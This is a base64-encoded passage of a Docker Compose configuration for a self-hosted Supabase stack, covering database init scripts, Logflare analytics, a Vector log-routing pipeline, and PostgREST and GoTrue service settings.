a2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk5LXJvbGVzLnNxbAogICAgICAgIGNvbnRlbnQ6ICItLSBOT1RFOiBjaGFuZ2UgdG8geW91ciBvd24gcGFzc3dvcmRzIGZvciBwcm9kdWN0aW9uIGVudmlyb25tZW50c1xuIFxcc2V0IHBncGFzcyBgZWNobyBcIiRQT1NUR1JFU19QQVNTV09SRFwiYFxuXG4gQUxURVIgVVNFUiBhdXRoZW50aWNhdG9yIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgcGdib3VuY2VyIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgc3VwYWJhc2VfYXV0aF9hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX3N0b3JhZ2VfYWRtaW4gV0lUSCBQQVNTV09SRCA6J3BncGFzcyc7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvand0LnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL2luaXQtc2NyaXB0cy85OS1qd3Quc3FsCiAgICAgICAgY29udGVudDogIlxcc2V0IGp3dF9zZWNyZXQgYGVjaG8gXCIkSldUX1NFQ1JFVFwiYFxuXFxzZXQgand0X2V4cCBgZWNobyBcIiRKV1RfRVhQXCJgXG5cXHNldCBkYl9uYW1lIGBlY2hvIFwiJHtQT1NUR1JFU19EQjotcG9zdGdyZXN9XCJgXG5cbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3Rfc2VjcmV0XCIgVE8gOidqd3Rfc2VjcmV0JztcbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3RfZXhwXCIgVE8gOidqd3RfZXhwJztcbiIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9sb2dzLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktbG9ncy5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwic3VwYWJhc2VfYWRtaW5cImBcblxcYyBfc3VwYWJhc2VcbmNyZWF0ZSBzY2hlbWEgaWYgbm90IGV4aXN0cyBfYW5hbHl0aWNzO1xuYWx0ZXIgc2NoZW1hIF9hbmFseXRpY3Mgb3duZXIgdG8gOnBndXNlcjtcblxcYyBwb3N0Z3Jlc1xuIgogICAgICAtICdzdXBhYmFzZS1kYi1jb25maWc6L2V0Yy9wb3N0Z3Jlc3FsLWN1c3RvbScKICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICBpbWFnZTogJ3N1cGFiYXNlL2xvZ2ZsYXJlOjEuNC4wJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjQwMDAvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMT0dGTEFSRV9OT0RFX0hPU1Q9MTI3LjAuMC4xCiAgICAgIC0gREJfVVNFUk5BTUU9c3VwYWJhc2VfYWRtaW4KICAgICAgLSBEQl9EQVRBQkFTRT1fc3VwYWJhc2UKICAgICAgLSAnREJfSE9TVE5BTUU9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdEQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gREJfU0NIRU1BPV9hbmFseXRpY3MKICAgICAgLSAnTE9HRkxBUkVfQVBJX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfTE9HRkxBUkV9JwogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlQ9dHJ1ZQogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlRfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfU1VQQUJBU0VfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfTUlOX0NMVVNURVJfU0laRT0xCiAgICAgIC0gJ1BPU1RHUkVTX0JBQ0tFTkRfVVJMPXBvc3RncmVzcWw6Ly9zdXBhYmFzZV9hZG1pbjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9L19zdXBhYmFzZScKICAgICAgLSBQT1NUR1JFU19CQUNLRU5EX1NDSEVNQT1fYW5hbHl0aWNzCiAgICAgIC0gTE9HRkxBUkVfRkVBVFVSRV9GTEFHX09WRVJSSURFPW11bHRpYmFja2VuZD10cnVlCiAgc3VwYWJhc2UtdmVjdG9yOgogICAgaW1hZ2U6ICd0aW1iZXJpby92ZWN0b3I6MC4yOC4xLWFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vc3VwYWJhc2UtdmVjdG9yOjkwMDEvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9sb2dzL3ZlY3Rvci55bWwKICAgICAgICB0YXJnZXQ6IC9ldGMvdmVjdG9yL3ZlY3Rvci55bWwKICAgICAgICByZWFkX29ubHk6IHRydWUKICAgICAgICBjb250ZW50OiAiYXBpOlxuICBlbmFibGVkOiB0cnVlXG4gIGFkZHJlc3M6IDAuMC4wLjA6OTAwMVxuXG5zb3VyY2VzOlxuICBkb2NrZXJfaG9zdDpcbiAgICB0eXBlOiBkb2NrZXJfbG9nc1xuICAgIGV4Y2x1ZGVfY29udGFpbmVyczpcbiAgICAgIC0gc3VwYWJhc2UtdmVjdG9yXG5cbnRyYW5zZm9ybXM6XG4gIHByb2plY3RfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gZG9ja2VyX2hvc3RcbiAgICBzb3VyY2U6IHwtXG4gICAgICAucHJvamVjdCA9IFwiZGVmYXVsdFwiXG4gICAgICAuZXZlbnRfbWVzc2FnZSA9IGRlbCgubWVzc2FnZSlcbiAgICAgIC5hcHBuYW1lID0gZGVsKC5jb250YWluZXJfbmFtZSlcbiAgICAgIGRlbCguY29udGFpbmVyX2NyZWF0ZWRfYXQpXG4gICAgICBkZWwoLmNvbnRhaW5lcl9pZClcbiAgICAgIGRlbCguc291cmNlX3R5cGUpXG4gICAgICBkZWwoLnN0cmVhbSlcbiAgICAgIGRlbCgubGFiZWwpXG4gICAgICBkZWwoLmltYWdlKVxuICAgICAgZGVsKC5ob3N0KVxuICAgICAgZGVsKC5zdHJlYW0pXG4gIHJvdXRlcjpcbiAgICB0eXBlOiByb3V0ZVxuICAgIGlucHV0czpcbiAgICAgIC0gcHJvamVjdF9sb2dzXG4gICAgcm91dGU6XG4gICAgICBrb25nOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2Uta29uZ1wiKSdcbiAgICAgIGF1dGg6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1hdXRoXCIpJ1xuICAgICAgcmVzdDogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInN1cGFiYXNlLXJlc3RcIiknXG4gICAgICByZWFsdGltZTogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInJlYWx0aW1lLWRldlwiKSdcbiAgICAgIHN0b3JhZ2U6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1zdG9yYWdlXCIpJ1xuICAgICAgZnVuY3Rpb25zOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2UtZnVuY3Rpb25zXCIpJ1xuICAgICAgZGI6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1kYlwiKSdcbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5rb25nXG4gICAgc291cmNlOiB8LVxuICAgICAgcmVxLCBlcnIgPSBwYXJzZV9uZ2lueF9sb2coLmV2ZW50X21lc3NhZ2UsIFwiY29tYmluZWRcIilcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAudGltZXN0YW1wID0gcmVxLnRpbWVzdGFtcFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0LmhlYWRlcnMucmVmZXJlciA9IHJlcS5yZWZlcmVyXG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy51c2VyX2FnZW50ID0gcmVxLmFnZW50XG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy5jZl9jb25uZWN0aW5nX2lwID0gcmVxLmNsaWVudFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0Lm1ldGhvZCA9IHJlcS5tZXRob2RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wYXRoID0gcmVxLnBhdGhcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHJlcS5wcm90b2NvbFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXNwb25zZS5zdGF0dXNfY29kZSA9IHJlcS5zdGF0dXNcbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2VycjpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmtvbmdcbiAgICBzb3VyY2U6IHwtXG4gICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSBcIkdFVFwiXG4gICAgICAubWV0YWRhdGEucmVzcG9uc2Uuc3RhdHVzX2NvZGUgPSAyMDBcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfbmdpbnhfbG9nKC5ldmVudF9tZXNzYWdlLCBcImVycm9yXCIpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lc3RhbXBcbiAgICAgICAgICAuc2V2ZXJpdHkgPSBwYXJzZWQuc2V2ZXJpdHlcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5ob3N0ID0gcGFyc2VkLmhvc3RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5oZWFkZXJzLmNmX2Nvbm5lY3RpbmdfaXAgPSBwYXJzZWQuY2xpZW50XG4gICAgICAgICAgdXJsLCBlcnIgPSBzcGxpdChwYXJzZWQucmVxdWVzdCwgXCIgXCIpXG4gICAgICAgICAgaWYgZXJyID09IG51bGwge1xuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSB1cmxbMF1cbiAgICAgICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QucGF0aCA9IHVybFsxXVxuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHVybFsyXVxuICAgICAgICAgIH1cbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBHb3RydWUgbG9ncyBhcmUgc3RydWN0dXJlZCBqc29uIHN0cmluZ3Mgd2hpY2ggZnJvbnRlbmQgcGFyc2VzIGRpcmVjdGx5LiBCdXQgd2Uga2VlcCBtZXRhZGF0YSBmb3IgY29uc2lzdGVuY3kuXG4gIGF1dGhfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmF1dGhcbiAgICBzb3VyY2U6IHwtXG4gICAgICBwYXJzZWQsIGVyciA9IHBhcnNlX2pzb24oLmV2ZW50X21lc3NhZ2UpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLm1ldGFkYXRhLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lXG4gICAgICAgICAgLm1ldGFkYXRhID0gbWVyZ2UhKC5tZXRhZGF0YSwgcGFyc2VkKVxuICAgICAgfVxuICAjIFBvc3RnUkVTVCBsb2dzIGFyZSBzdHJ1Y3R1cmVkIHNvIHdlIHNlcGFyYXRlIHRpbWVzdGFtcCBmcm9tIG1lc3NhZ2UgdXNpbmcgcmVnZXhcbiAgcmVzdF9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIucmVzdFxuICAgIHNvdXJjZTogfC1cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPi4qKTogKD9QPG1zZz4uKikkJylcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAudGltZXN0YW1wID0gdG9fdGltZXN0YW1wIShwYXJzZWQudGltZSlcbiAgICAgICAgICAubWV0YWRhdGEuaG9zdCA9IC5wcm9qZWN0XG4gICAgICB9XG4gICMgUmVhbHRpbWUgbG9ncyBhcmUgc3RydWN0dXJlZCBzbyB3ZSBwYXJzZSB0aGUgc2V2ZXJpdHkgbGV2ZWwgdXNpbmcgcmVnZXggKGlnbm9yZSB0aW1lIGJlY2F1c2UgaXQgaGFzIG5vIGRhdGUpXG4gIHJlYWx0aW1lX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5yZWFsdGltZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLmV4dGVybmFsX2lkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPlxcZCs6XFxkKzpcXGQrXFwuXFxkKykgXFxbKD9QPGxldmVsPlxcdyspXFxdICg/UDxtc2c+LiopJCcpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLmV2ZW50X21lc3NhZ2UgPSBwYXJzZWQubXNnXG4gICAgICAgICAgLm1ldGFkYXRhLmxldmVsID0gcGFyc2VkLmxldmVsXG4gICAgICB9XG4gICMgU3RvcmFnZSBsb2dzIG1heSBjb250YWluIGpzb24gb2JqZWN0cyBzbyB3ZSBwYXJzZSB0aGVtIGZvciBjb21wbGV0ZW5lc3NcbiAgc3RvcmFnZV9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuc3RvcmFnZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLnRlbmFudElkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfanNvbiguZXZlbnRfbWVzc2FnZSlcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAubWV0YWRhdGEubGV2ZWwgPSBwYXJzZWQubGV2ZWxcbiAgICAgICAgICAubWV0YWRhdGEudGltZXN0YW1wID0gcGFyc2VkLnRpbWVcbiAgICAgICAgICAubWV0YWRhdGEuY29udGV4dFswXS5ob3N0ID0gcGFyc2VkLmhvc3RuYW1lXG4gICAgICAgICAgLm1ldGFkYXRhLmNvbnRleHRbMF0ucGlkID0gcGFyc2VkLnBpZFxuICAgICAgfVxuICAjIFBvc3RncmVzIGxvZ3Mgc29tZSBtZXNzYWdlcyB0byBzdGRlcnIgd2hpY2ggd2UgbWFwIHRvIHdhcm5pbmcgc2V2ZXJpdHkgbGV2ZWxcbiAgZGJfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmRiXG4gICAgc291cmNlOiB8LVxuICAgICAgLm1ldGFkYXRhLmhvc3QgPSBcImRiLWRlZmF1bHRcIlxuICAgICAgLm1ldGFkYXRhLnBhcnNlZC50aW1lc3RhbXAgPSAudGltZXN0YW1wXG5cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInLiooP1A8bGV2ZWw+SU5GT3xOT1RJQ0V8V0FSTklOR3xFUlJPUnxMT0d8RkFUQUx8UEFOSUM/KTouKicsIG51bWVyaWNfZ3JvdXBzOiB0cnVlKVxuXG4gICAgICBpZiBlcnIgIT0gbnVsbCB8fCBwYXJzZWQgPT0gbnVsbCB7XG4gICAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSBcImluZm9cIlxuICAgICAgfVxuICAgICAgaWYgcGFyc2VkICE9IG51bGwge1xuICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IHBhcnNlZC5sZXZlbFxuICAgICAgfVxuICAgICAgaWYgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9PSBcImluZm9cIiB7XG4gICAgICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IFwibG9nXCJcbiAgICAgIH1cbiAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSB1cGNhc2UhKC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkpXG5cbnNpbmtzOlxuICBsb2dmbGFyZV9hdXRoOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gYXV0aF9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWdvdHJ1ZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3JlYWx0aW1lOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gcmVhbHRpbWVfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1yZWFsdGltZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3Jlc3Q6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByZXN0X2xvZ3NcbiAgICBlbmNvZGluZzpcbiAgICAgIGNvZGVjOiAnanNvbidcbiAgICBtZXRob2Q6ICdwb3N0J1xuICAgIHJlcXVlc3Q6XG4gICAgICByZXRyeV9tYXhfZHVyYXRpb25fc2VjczogMTBcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAvYXBpL2xvZ3M/c291cmNlX25hbWU9cG9zdGdSRVNULmxvZ3MucHJvZCZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfZGI6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSBkYl9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgIyBXZSBtdXN0IHJvdXRlIHRoZSBzaW5rIHRocm91Z2gga29uZyBiZWNhdXNlIGluZ2VzdGluZyBsb2dzIGJlZm9yZSBsb2dmbGFyZSBpcyBmdWxseSBpbml0aWFsaXNlZCB3aWxsXG4gICAgIyBsZWFkIHRvIGJyb2tlbiBxdWVyaWVzIGZyb20gc3R1ZGlvLiBUaGlzIHdvcmtzIGJ5IHRoZSBhc3N1bXB0aW9uIHRoYXQgY29udGFpbmVycyBhcmUgc3RhcnRlZCBpbiB0aGVcbiAgICAjIGZvbGxvd2luZyBvcmRlcjogdmVjdG9yID4gZGIgPiBsb2dmbGFyZSA+IGtvbmdcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2Uta29uZzo4MDAwL2FuYWx5dGljcy92MS9hcGkvbG9ncz9zb3VyY2VfbmFtZT1wb3N0Z3Jlcy5sb2dzJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9mdW5jdGlvbnM6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuZnVuY3Rpb25zXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWRlbm8tcmVsYXktbG9ncyZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfc3RvcmFnZTpcbiAgICB0eXBlOiAnaHR0cCdcbiAgICBpbnB1dHM6XG4gICAgICAtIHN0b3JhZ2VfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1zdG9yYWdlLmxvZ3MucHJvZC4yJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9rb25nOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0ga29uZ19sb2dzXG4gICAgICAtIGtvbmdfZXJyXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWNsb3VkZmxhcmUubG9ncy5wcm9kJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuIgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGVudmlyb25tZW50OgogICAgICAtICdMT0dGTEFSRV9BUElfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9MT0dGTEFSRX0nCiAgICBjb21tYW5kOgogICAgICAtICctLWNvbmZpZycKICAgICAgLSBldGMvdmVjdG9yL3ZlY3Rvci55bWwKICBzdXBhYmFzZS1yZXN0OgogICAgaW1hZ2U6ICdwb3N0Z3Jlc3QvcG9zdGdyZXN0OnYxMi4yLjEyJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUEdSU1RfREJfVVJJPXBvc3RncmVzOi8vYXV0aGVudGljYXRvcjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUEdSU1RfREJfU0NIRU1BUz0ke1BHUlNUX0RCX1NDSEVNQVM6LXB1YmxpYyxzdG9yYWdlLGdyYXBocWxfcHVibGljfScKICAgICAgLSBQR1JTVF9EQl9BTk9OX1JPTEU9YW5vbgogICAgICAtICdQR1JTVF9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIFBHUlNUX0RCX1VTRV9MRUdBQ1lfR1VDUz1mYWxzZQogICAgICAtICdQR1JTVF9BUFBfU0VUVElOR1NfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnUEdSU1RfQVBQX1NFVFRJTkdTX0pXVF9FWFA9JHtKV1RfRVhQSVJZOi0zNjAwfScKICAgIGNvbW1hbmQ6IHBvc3RncmVzdAogICAgZXhjbHVkZV9mcm9tX2hjOiB0cnVlCiAgc3VwYWJhc2UtYXV0aDoKICAgIGltYWdlOiAnc3VwYWJhc2UvZ290cnVlOnYyLjE3NC4wJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5OTk5L2hlYWx0aCcKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIEdPVFJVRV9BUElfSE9TVD0wLjAuMC4wCiAgICAgIC0gR09UUlVFX0FQSV9QT1JUPTk5OTkKICAgICAgLSAnQVBJX0VYVEVSTkFMX1VSTD0ke0FQSV9FWFRFUk5BTF9VUkw6LWh0dHA